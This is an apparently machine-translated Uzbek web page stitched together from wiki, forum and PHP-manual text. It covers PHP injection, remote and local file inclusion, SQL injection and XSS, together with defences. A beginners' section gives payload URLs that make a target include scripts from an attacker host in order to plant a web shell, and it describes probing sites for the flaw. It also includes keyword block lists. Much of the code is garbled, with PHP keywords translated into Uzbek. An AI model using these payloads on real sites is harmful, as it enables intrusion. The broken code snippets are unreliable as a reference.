Yangi boshlanuvchilar uchun Php in'ektsiyalari. PHP zaifligi va PHP in'ektsiyasidan himoya

Misol

Bu skript zaif, chunki ".php" oddiygina $module o'zgaruvchisi tarkibiga qo'shiladi va fayl natijada paydo bo'lgan yo'lga biriktiriladi.

Xaker o'z veb-saytida PHP kodini o'z ichiga olgan fayl yaratishi mumkin (http://hackersite.com/inc.php) va http://mysite.com/index.php?module=http:/ kabi havola orqali saytga kirishi mumkin. /hackersite.com/inc har qanday PHP buyruqlarini bajaradi.

Himoya qilish usullari

Bunday hujumdan himoya qilishning bir necha yo'li mavjud:

  • $module o'zgaruvchisida begona belgilar mavjudligini tekshiring:

  • $ moduliga tegishli qiymatlardan biri tayinlanganligini tekshiring:

Bu usul yanada samarali, chiroyli va toza.

PHP, shuningdek, masofaviy fayllardan foydalanishni o'chirish imkoniyatini beradi, bu php.ini server konfiguratsiya faylida allow_url_fopen opsiyasi qiymatini Off ga o'zgartirish orqali amalga oshiriladi.

Ta'riflangan zaiflik sayt uchun katta xavf tug'diradi va PHP skriptlari mualliflari buni unutmasliklari kerak.

Shuningdek qarang

Havolalar


Wikimedia fondi. 2010 yil.

Boshqa lug'atlarda "PHP injection" nima ekanligini ko'ring:

    - ... Vikipediya

    - ... Vikipediya

    Bu atamaning boshqa maʼnolari ham bor, qarang: PHP (maʼnolari). PHP semantikasi: ko'p paradigma... Vikipediya

    Elektron pochtani kiritish - bu to'g'ri tasdiqlanmagan foydalanuvchi kiritishidan IMAP/SMTP ifodalarini yaratish orqali pochta serverlari va pochta ilovalaridan foydalanish uchun ishlatiladigan hujum usuli. Turiga qarab... ... Vikipediya

    SQL in'ektsiyasi ma'lumotlar bazalari bilan ishlaydigan veb-saytlar va dasturlarni buzishning eng keng tarqalgan usullaridan biri bo'lib, so'rovga o'zboshimchalik bilan SQLni kiritishga asoslangan, foydalaniladigan ma'lumotlar bazasi turiga va amalga oshirish shartlariga, ... ... Vikipediya.

    SQL in'ektsiyasi ma'lumotlar bazalari bilan ishlaydigan veb-saytlar va dasturlarni buzishning eng keng tarqalgan usullaridan biri bo'lib, so'rovga o'zboshimchalik bilan SQLni kiritishga asoslangan, foydalaniladigan ma'lumotlar bazasi turiga va amalga oshirish shartlariga, ... ... Vikipediya.

    PHP semantikasi: koʻp paradigma Bajarish turi: Kompilyatsiya tipidagi tarjimon Chiqarilgan yili: 1995 yil Muallif(lar): Rasmus Lerdorf Soʻnggi versiya: 4 ... Vikipediya

    So'zning tor ma'nosida, bu ibora hozirda "Xavfsizlik tizimiga urinish" degan ma'noni anglatadi va keyingi atama, Cracker hujumi ma'nosiga ko'proq moyil. Bu "hacker" so'zining o'zi ma'nosining buzilishi tufayli sodir bo'ldi. Xaker... ...Vikipediya

Veb-dasturchilar uchun eng muhim muammolardan biri bu PHP skriptlarining xavfsizligi. Barcha dasturchilar, u yoki bu darajada, o'z loyihalarini himoya qilish uchun turli usullardan foydalanadilar, ammo, afsuski, ko'p hollarda, bir nechta zaifliklardan himoyalanish qo'llaniladi, boshqa muammoli joylar esa hisobga olinmaydi.
Ushbu maqolada PHP zaifliklarining asosiy turlari keltirilgan va ulardan himoyalanish yo‘llari ko‘rib chiqiladi.

PHP zaifliklarining turlari

  1. Foydalanuvchiga xatolarni ko'rsatish
    Ma'nosi: agar kodda xatolik bo'lsa, foydalanuvchiga sodir bo'lgan xato haqida ma'lumot ko'rsatiladi. Bu muhim zaiflik emas, lekin bu tajovuzkorga server tuzilishi va ishlashi haqida qo'shimcha ma'lumot olish imkonini berishi mumkin.
  2. Foydalanuvchi uchun tizim xususiyatlari to'g'risidagi ma'lumotlarning mavjudligi
    Ma'nosi: Foydalanuvchi tizim haqida tushuncha beradigan ma'lumotlarga kirishi mumkin. Bu muhim zaiflik emas, lekin bu tajovuzkorga server tuzilishi va ishlashi haqida qo'shimcha ma'lumot olish imkonini berishi mumkin. Ushbu zaiflikning sababi dasturchining xatolari va "nazoratlari". Masalan, umumiy mulkda bir xil nomdagi funksiyaga ega phpinfo.php faylining mavjudligi.
  3. Foydalanuvchiga dastur kodi haqidagi ma'lumotlarning mavjudligi
    Ma'nosi: foydalanuvchi php dan boshqa kengaytmaga ega bo'lgan modullarning dastur kodlariga kirishi mumkin. Bu juda muhim zaiflikdir, chunki u tajovuzkorga server tuzilishi va ishlashi haqida etarlicha to'liq ma'lumot olish va uning zaif tomonlarini aniqlash imkonini beradi.
  4. Ma'muriy sahifalarga kirish uchun oddiy parollar
    Ma'nosi: tajovuzkor ma'muriy sahifa uchun oddiy parolni taxmin qilishi mumkin, bu unga xakerlik qilish uchun ko'proq imkoniyatlar beradi. Bu juda muhim zaiflik, chunki u tajovuzkorga server ishiga ta'sir qilish imkonini beradi.
  5. Global o'zgaruvchilarni o'rnatish qobiliyati
    Ma'nosi: PHP sozlamalari noto'g'ri bo'lsa, so'rovlar qatori orqali global skript o'zgaruvchilarini o'rnatish mumkin. Bu juda muhim zaiflik, chunki tajovuzkor skriptning rivojlanishiga uning foydasiga ta'sir qilishi mumkin.
  6. PHP in'ektsiyasi
    Ma'nosi: uchinchi tomon dastur kodiga havola yoki kodning o'zi PHP fayllar yoki dastur kodi bilan qanday ishlashini aniqlaydigan parametrga uzatiladi. Bu juda muhim zaiflik, chunki tajovuzkor o'z skriptlarini serverda bajarishi mumkin. Kodning bajarilishi quyidagi funksiyalar yordamida amalga oshiriladi: eval(), preg_replace(), require_once(), include_once(), include(), require(), create_function(), readfile(), dir(), fopen().
  7. Fayl yuklash orqali PHP in'ektsiyasi
    Ma'nosi: agar global o'zgaruvchilarni o'rnatish mumkin bo'lsa, serverga yuklangan faylni belgilaydigan parametrga uchinchi tomon dastur kodiga yoki serverdagi maxfiy faylga havola uzatiladi. Bu juda muhim zaiflik, chunki tajovuzkor serverda skriptlarni bajarishi yoki maxfiy ma'lumotlarga kirish huquqiga ega bo'lishi mumkin. Ushbu zaiflik faqat global o'zgaruvchilarni o'rnatish va faylni yuklash mexanizmining noto'g'ri tashkil etilishi mumkin bo'lganda mumkin.
  8. elektron pochta yuborish
    Ma'nosi: uchinchi tomon dastur kodiga havola yoki kodning o'zi PHP elektron pochta xabarlari bilan qanday ishlashini aniqlaydigan parametrga uzatiladi. Bu juda muhim zaiflik, chunki tajovuzkor o'z skriptlarini serverda bajarishi yoki foydalanuvchi tomonidan saqlangan ma'lumotlarga kirish huquqiga ega bo'lishi mumkin.
  9. SQL in'ektsiyasi
    Ma'nosi: SQL so'rovini belgilaydigan parametr shaxsiy ma'lumotlarga kirish uchun so'rovni tashkil etuvchi ma'lumotlarni o'z ichiga oladi. Bu juda muhim zaiflik, chunki tajovuzkor ma'lumotlar bazasida saqlangan maxfiy ma'lumotlarni olishi mumkin. So‘rovni o‘zgartirish uchun tajovuzkor quyidagi konstruksiyalardan foydalanishi mumkin: SELECT, UNION, UPDATE, INSERT, OR, AND.
  10. Saytlararo skript yoki XSS
    Ma'nosi: uchinchi tomon dastur kodi foydalanuvchiga ko'rsatiladigan ma'lumotlarni aniqlaydigan parametrga uzatiladi. Bu juda muhim zaiflik, chunki tajovuzkor mijozning brauzerida saqlangan maxfiy ma'lumotlarni olishi mumkin. Buzg'unchi so'rovni o'zgartirish uchun HTML teglaridan foydalanadi.

PHP da xavfsiz kod yozish qoidalari

  1. Bloklash xatosi chiqishi
    Buning uchun dastur kodida error_reporting(0) ni o‘rnating yoki .htaccess fayliga php_flag error_reporting 0 qatorini qo‘shing.
  2. Ma'muriy sahifalarga kirish uchun murakkab parollardan foydalanish
    Buning uchun semantik ma'noga ega bo'lmagan ko'p qiymatli parollardan foydalanish kifoya (masalan, K7O0iV98dq).
  3. Muhim foydalanuvchi harakatlarini qayd qilish
    To'g'ridan-to'g'ri himoyani ta'minlamaydi, lekin xakerlarni aniqlash va ular foydalangan zaifliklarni aniqlash imkonini beradi. Buning uchun foydalanuvchining harakatlari va u tomonidan uzatiladigan tizim ishlashining muhim daqiqalariga tegishli ma'lumotlar oddiy matn faylida qayd etilishi uchun etarli.
    Ro'yxatga olish funktsiyasi va uning ishlashiga misol:
    funktsiya writelog($typelog, $log_text) (
    $log = fopen("logs/".$typelog.".txt","a+");
    fwrite($log, "$log_matn\r\n");
    fclose($log);
    }
    writelog("avtorizatsiya", sana("y.m.d H:m:s")."\t".$_SERVER["REMOTE_ADDR"]."\tKirish muvaffaqiyatli");
  4. Sayt modullariga kirishni yopish
    Ularning mazmunini ko'rish yoki bajarishga urinishlardan himoya qiladi. Buning uchun FilesMatch va Files konstruksiyalari yordamida .htaccess faylidagi modul fayllariga kirishni sozlash kifoya.
    Masalan, biz capcha.php faylidan tashqari php kengaytmali barcha modullarga kirishni bloklaymiz:
  5. Global o'zgaruvchilarni o'rnatish imkoniyatini o'chirish
    Buning uchun server sozlamalarida register_globals = off; ni o'rnatish kifoya. yoki .htaccess faylida php_flag register_globals off qatorini qo'shing. ini_set dan foydalanish("register_globals",0); Skript ishga tushishidan oldin o'zgaruvchilarni o'rnatish bilan muammo hal etilmaydi.
  6. O'chirilgan fayllardan foydalanish imkoniyatini o'chirish
    Buning uchun server sozlamalarida allow_url_fopen = off ni o'rnatish kifoya. . Bu PHP in'ektsiyasidan qisman himoyani ta'minlaydi, ammo to'liq emas, chunki tajovuzkor dastur kodi bo'lgan faylga havolani emas, balki dastur kodini o'zi yuborishi mumkin. PHP in'ektsiyasidan to'liq himoya qilish uchun siz qo'shimcha ravishda kiruvchi ma'lumotlarni filtrlashdan foydalanishingiz kerak. Ba'zan ushbu himoya chorasini loyihaning tabiati tufayli ishlatib bo'lmaydi (siz masofaviy fayllarga kirishingiz kerak).
  7. Kiruvchi ma'lumotlarni filtrlash
    Ko'pgina zaifliklardan himoya qiladi. Universal yechim yo'q. Belgilarning "oq" ro'yxatiga qarshi chekni taqiqlangan so'zlarni tekshirish bilan birgalikda ishlatish tavsiya etiladi. "Oq" - ruxsat etilgan belgilar ro'yxati. Ushbu ro'yxatga xavfli belgilar kiritilmasligi kerak, masalan. Taqiqlangan so'zlarga quyidagilar kiradi: skript, http, SELECT, UNION, UPDATE, exe, exec, INSERT, tmp, shuningdek, html teglari.
    Kiruvchi ma'lumotlarni filtrlash misoli:
    // Oq ro'yxatga qarshi tekshiring. Faqat rus va lotin harflari, raqamlar va belgilarga ruxsat beriladi _-
    agar (preg_match("/[^(\w)|(A-Yaa-ya-)|(\s)]/",$matn)) (
    $matn = "";
    }
    // Xavfli so'zlarni filtrlash
    agar (preg_match("/script|http|||SELECT|UNION|UPDATE|exe|exec|INSERT|tmp/i",$matn)) (
    $matn = "";
    }
  8. HTTP POST yordamida fayl yuklanishi tekshirilmoqda
    Fayllarni yuklash orqali PHP in'ektsiyasidan himoya qiladi. Bunga ishonch hosil qilish uchun serverga yuklangan fayllar is_uploaded_file() funksiyasi bilan tekshirilishi yoki move_uploaded_file() funksiyasi bilan koʻchirilishi kerak. Agar global o'zgaruvchilarni o'rnatish imkoniyati o'chirilgan bo'lsa, ushbu turdagi himoyadan foydalanib bo'lmaydi.
  9. Ma'lumotlar bazasiga uzatilgan ma'lumotlardagi tirnoq belgilaridan qochish
    SQL in'ektsiyasidan himoya qiladi. Eng maqbul usul mysql_real_escape_string() funksiyasidan foydalangan holda barcha kiruvchi noraqamli ma'lumotlarni qayta ishlashdir. Shuningdek, siz kiruvchi ma'lumotlarni avtomatik tekshirishdan foydalanishingiz mumkin. Buni amalga oshirish uchun .htaccess fayliga php_value magic_quotes_gpc qatorini qo'shing, lekin bu usul ishonchli emas, chunki bu ikki marta qochishga olib kelishi mumkin.
    mysql_real_escape_string() funksiyasidan foydalanib tirnoqlardan qochishga misol:
    agar (!is_numeric($matn)) (
    $textrequest = mysql_real_escape_string($matn);
    }
  10. Chiqarishdan oldin maxsus belgilarni html ob'ektlariga aylantirish
    XSS dan himoya qiladi. Buning uchun foydalanuvchi kiritgan, unda keraksiz html teglari boʻlishi mumkin boʻlgan maʼlumotlar htmlspecialchars() funksiyasi yordamida chiqishda oddiygina qayta ishlanadi. Agar kiruvchi ma'lumotlarni filtrlash xavfli HTML teglarini yo'q qilsa, ushbu turdagi himoyadan foydalanish mumkin emas.

Ko'rib turganingizdek, puxta o'ylangan skript xavfsizligi tizimini yaratish ko'rinadigan darajada ko'p vaqt talab qilmaydi.
Ushbu maqola skript xavfsizligi bo'yicha darslik bo'lish uchun mo'ljallanmagan, ammo umid qilamanki, u PHP dasturchilarini yanada puxta o'ylangan xavfsizlik usullaridan foydalanishga undaydi.

Muvaffaqiyatli hujumni amalga oshirish uchun tajovuzkor hech bo'lmaganda ma'lumotlar bazasi tuzilishi haqida ma'lumotga ega bo'lishi kerakligi aniq bo'lsa-da, bu ma'lumotni olish ko'pincha juda oddiy. Misol uchun, agar ma'lumotlar bazasi ochiq manbali yoki standart o'rnatishga ega bo'lgan boshqa umumiy foydalanish mumkin bo'lgan dasturiy ta'minot paketining bir qismi bo'lsa, bu ma'lumotlar butunlay ochiq va foydalanish mumkin. Ushbu ma'lumotlarni yopiq loyihadan, hatto kodlangan, murakkab yoki kompilyatsiya qilingan bo'lsa ham, hatto xato xabarlarini ko'rsatish orqali shaxsiy kodingizdan ham olish mumkin. Boshqa usullarga umumiy (taxmin qilish oson) jadval va ustun nomlaridan foydalanish kiradi. Masalan, "ID", "foydalanuvchi nomi" va "parol" ustun nomlari bilan "foydalanuvchilar" jadvalidan foydalanadigan kirish shakli.

Ko'pgina muvaffaqiyatli hujumlar tegishli xavfsizlik talablarisiz yozilgan kodga asoslangan. Hech qanday ma'lumotga ishonmang, ayniqsa u mijozdan kelgan bo'lsa, hatto formadagi ro'yxatlar, yashirin maydonlar yoki cookie fayllari. Berilgan birinchi misol bunday so'rovlar qanday qilib falokatga olib kelishi mumkinligini ko'rsatadi.

  • Hech qachon ma'lumotlar bazasi egasi yoki superuser hisobi yordamida ma'lumotlar bazasiga ulamang. Har doim eng cheklangan huquqlarga ega maxsus yaratilgan foydalanuvchilardan foydalanishga harakat qiling.
  • bog'langan o'zgaruvchilar bilan tayyorlangan ifodalardan foydalaning. Bu imkoniyat PDO kengaytmalari, MySQLi va boshqa kutubxonalar tomonidan taqdim etiladi.
  • Har doim siz kiritgan ma'lumotlar kutilgan turdagi ekanligini tekshiring. PHP ma'lumotlarni tekshirish uchun turli funktsiyalarga ega, ular o'zgaruvchilar bilan ishlash uchun oddiy funktsiyalardan tortib, belgilar turini aniqlash funktsiyalarigacha (masalan, is_numeric() Va ctype_digit() mos ravishda) va Perl-mos keladigan muntazam iboralar bilan tugaydi.
  • Agar ilova raqamli kiritishni kutsa, funksiyadan foydalaning ctype_digit() kiritilgan ma'lumotlarni tekshirish uchun, yoki yordamida uning turini belgilash majbur settype(), yoki oddiygina funktsiyadan foydalanib, raqamli ko'rinishdan foydalaning sprintf().

    5-misol Sahifalash navigatsiyasini xavfsizroq amalga oshirish

    settype ($offset, "integer");
    $so'rov = “TANLASH identifikatori, mahsulotlardan ism TARTIB OLISH BY NOMI LIMIT 20 OFSET$ofset;" ;

    // %d formatiga e'tibor bering, %s dan foydalanish befoyda
    $query = sprintf ( "Tanlash identifikatori, mahsulotlar FROM nomi TARTIB BY NOMI LIMIT 20 OFFSET %d;",
    $ofset);

    ?>

  • Agar bog'langan o'zgaruvchilar ma'lumotlar bazasi darajasida qo'llab-quvvatlanmasa, siz foydalanayotgan ma'lumotlar bazasiga xos bo'lgan maxsus qochish funktsiyalaridan foydalangan holda ma'lumotlar bazasi so'rovlarida ishlatiladigan har qanday noaniq ma'lumotlardan har doim qochib qutuling (masalan, mysql_real_escape_string(), sqlite_escape_string() va hokazo.). kabi umumiy xususiyatlar qo'shimcha chiziqlar() faqat ma'lum holatlarda foydalidir (masalan, NO_BACKSLASH_ESCAPES o'chirilgan bir baytli kodlashda MySQL), shuning uchun ulardan foydalanishdan qochish yaxshidir.
  • Hech qanday holatda ma'lumotlar bazasi haqida, ayniqsa uning tuzilishi haqida hech qanday ma'lumot ko'rsatilmaydi. Shuningdek, hujjatlarning tegishli bo'limlarini o'qing: "Xato xabarlari" va "Xatolarni qayta ishlash va ro'yxatga olish funktsiyalari".
  • Foydalanuvchilarga ma'lumotlar va ko'rinishlarga to'g'ridan-to'g'ri kirish huquqini bermasdan ma'lumotlar bilan ishlash uchun saqlangan protseduralar va oldindan belgilangan kursorlardan foydalanishingiz mumkin, ammo bu yechimning o'ziga xos qiyinchiliklari bor.

Yuqorida aytilganlarning barchasiga qo'shimcha ravishda, agar u qo'llab-quvvatlasa, so'rovlarni skriptingizda yoki ma'lumotlar bazasi darajasida qayd etishingiz mumkin. Shubhasiz, ro'yxatga olish zararni oldini olmaydi, lekin u buzilgan dasturni kuzatishda yordam beradi. Jurnal fayli o'zida emas, balki uning tarkibidagi ma'lumotlarda foydalidir. Bundan tashqari, ko'p hollarda barcha mumkin bo'lgan tafsilotlarni qayd etish foydali bo'ladi.

Yangi boshlanuvchilar uchun PHP in'ektsiya asoslari.​


PHP in'ektsiyasi(ing. PHP injection) - haqida PHP da ishlovchi veb-saytlarni buzish usullaridan biri server tomonida xorijiy kodni bajarishdir. Potentsial xavfli funktsiyalar:
baho(),
preg_replace() ("e" modifikatori bilan),
talab_bir marta(),
o'z ichiga_bir marta(),
o'z ichiga oladi(),
talab(),
create_function().

Agar kirish parametrlari tasdiqlanmasdan qabul qilinsa va foydalanilsa, PHP in'ektsiyasi mumkin bo'ladi.

Kengaytirish uchun bosing...

(c) Wiki


Asoslar.​

Php in'ektsiyasi- bu tajovuzkor o'zining PHP kodini hujum qilingan PHP ilovasiga kiritganda veb-saytga hujum qilish shaklidir.
Agar in'ektsiya muvaffaqiyatli bo'lsa, tajovuzkor maqsadli serverda o'zboshimchalik bilan (potentsial xavfli) PHP kodini bajarishi mumkin. Misol uchun, qobiqni to'ldiring. Lekin birinchi navbatda, bu qanday sodir bo'lishini batafsil muhokama qilaylik.

Masalan:
Tasavvur qilaylik, bizda PHP da yozilgan veb-sayt bor.
Tasavvur qilaylik, sayt buyruqni ishlatadi page=page.html so'ralgan sahifani ko'rsatish uchun.
Kod quyidagicha ko'rinadi:

$fayl = $_GET ["sahifa" ]; //Ko'rsatilgan sahifa
o'z ichiga oladi ($ fayl);
?>

Bu shuni anglatadiki, sahifada ko'rsatilgan hamma narsa o'sha sahifaning PHP kodiga kiritiladi. Shunday qilib, tajovuzkor shunday qilishi mumkin:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

Agar biz qo'shish amalga oshirilgandan keyin nima sodir bo'lishini ko'rib chiqsak, maqsadli serverda bajarilgan quyidagi kodni ko'ramiz:

$fayl = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["sahifa"];
o'z ichiga oladi ($ fayl); //$file - bu tajovuzkor tomonidan kiritilgan skript
?>

Biz tajovuzkor maqsadli serverga muvaffaqiyatli hujum qilganini ko'ramiz.

Batafsil ma'lumot:
Xo'sh, nega tajovuzkor PHP in'ektsiyasini amalga oshira oldi?
Hammasi funksiya tufayli o'z ichiga oladi() masofaviy fayllarni ishga tushirish imkonini beradi.

Nima uchun kengaytmali skript misolda ko'rsatilgan edi *.Xabar , lekin emas *.php ?
Agar skript formatga ega bo'lsa, javob oddiy *.php , u maqsadli tizimda emas, tajovuzkorning serverida ishlaydi.

Shuningdek, "belgisi" qo'shildi ? " funktsiya ichidagi biror narsani olib tashlash uchun kiritilgan skript yo'lida o'z ichiga oladi() maqsadli serverda.
Misol:

$fayl = $_GET ["sahifa" ];
o'z ichiga oladi ($ fayl . ".php" );
?>

Ushbu skript kengaytmani qo'shadi *.php buyruq bilan chaqirilgan har qanday narsaga o'z ichiga oladi() .
Bular.

http: //www.attack_server.com/malicious_script.txt

ga aylanadi

http: //www.attack_server.com/malicious_script.txt.php

Skript bu nom bilan ishlamaydi (fayl tajovuzkor serverida mavjud emas). /malicious_script.txt.php)
Shuning uchun biz "?" zararli skriptga yo'lning oxirigacha:

http: //www.attack_server.com/malicious_script.txt?.php

Ammo u bajariladigan bo'lib qoladi.

PHP in'ektsiyasini include() funksiyasining zaifligi orqali amalga oshirish.​

RFI - PHP in'ektsiyasi paytida masofadan boshqarish


RFI o'tkazish qobiliyati dvigatellarda juda keng tarqalgan xatodir.
Siz uni quyidagicha topishingiz mumkin:
Aytaylik, biz tasodifan brauzerning manzil satrida shunday tugaydigan sahifaga duch keldik:

/indeks. php? sahifa = asosiy

Biz uning o'rniga almashtiramiz asosiy har qanday delusional ma'no, masalan upyachka

/indeks. php? sahifa = upyachka

Javob sifatida biz xatoga duch kelamiz:

Ogohlantirish: asosiy (upyachka. php): oqim ochilmadi: / home / user / www //page.php 3-qatorda bunday fayl yoki katalog yo'q.

Ogohlantirish: asosiy (upyachka. php): oqim ochilmadi: / home / user / www / sahifasida bunday fayl yoki katalog yo'q. php 3-qatorda

Ogohlantirish: asosiy (): "upyachka.php" ni kiritish uchun ochilmadi (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") /home/user/www/page-da. php 3-qatorda

Bu bizga inklyuziya amalga oshirilishi mumkinligini ko'rsatadi.
Keling, almashtirishga harakat qilaylik upyachka qobiq yo'li bo'lgan sayt (qobiq fayl kengaytmasi ko'rsatilmasligi yoki uni yuqorida aytib o'tilganidek ko'rsatmasligi kerak)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

Qobiq shu tarzda olinadi. Endi siz sayt ma'muriga zaiflik haqida xabar berishingiz kerak, shunda u yovuz odamlar xatolikdan foydalanmasliklari uchun uni tuzatishi mumkin.

LFI - PHP in'ektsiyasi uchun mahalliy o'z ichiga oladi.​


Tasavvur qilaylik, biz bir xil zaif saytga duch keldik

/indeks. php? fayl = asosiy

Kod bilan

..
Include ("papka/ $page .htm" );

?>

Bu allaqachon mahalliy inklyuziya. Bunday holda, faqat fayllar ro'yxati mumkin:

/indeks. php? sahifa =../ indeks . php

Quyidagi holatda kod quyidagicha ko'rinadi:

..
Include("$dir1/papka/page.php");

?>

Bunday holda siz qobiqqa yo'lni quyidagicha yozishingiz mumkin:
Jild yarating papka qobiq saqlanadigan veb-saytda qobiqni ushbu jildga tashlang:

http: //www.attack_site.com/folder/shell.php

Bu holda in'ektsiya quyidagicha ko'rinadi:

indeks. php? dir1 = http: //www.site_attacker.com/

Himoya qilish usullari


Keling, skriptni ko'rib chiqaylik:

...

$ modulni o'z ichiga oladi. ".php" ;
...
?>

Ushbu skript zaif, chunki o'zgaruvchining mazmuni $ modul hozirgina qo'shildi *.php va natijada olingan yo'l yordamida fayl ishga tushiriladi.

Bunday hujumdan himoyalanishning bir necha yo'li mavjud:​


-$module o'zgaruvchisida begona belgilar mavjudligini tekshiring:

...
$module = $_GET ["modul" ];
if (strpbrk ($module , ".?/:" )) die("Bloklangan" );
$ modulni o'z ichiga oladi. ".php" ;
...
?>

-$modulga tegishli qiymatlardan biri tayinlanganligini tekshiring:
"/", "" , $page); // Boshqa kataloglarga o'tish imkoniyati bloklangan.
agar (fayl_mavjud ("fayllar/ $page .htm " ))
{
Include("files/$page.htm" );
}
Boshqa
{
Echo
"xato";
}

?>

PHP, shuningdek, masofaviy fayllardan foydalanishni o'chirish imkoniyatini beradi, bu php.ini konfiguratsiya faylida allow_url_fopen opsiyasi qiymatini Off ga o'zgartirish orqali amalga oshiriladi.

Ta'riflangan zaiflik sayt uchun katta xavf tug'diradi va PHP skriptlari mualliflari buni unutmasliklari kerak.

Yozayotganda, dan materiallar
Vikipediya,
xavfsizlik-sh3ll (spl0it) xorijiy forumidan
Antichat forumidan (GreenBear).
ga alohida rahmat Burt Va f02 yordamingiz uchun,
qo'llab-quvvatlash va yaxshi tanqid)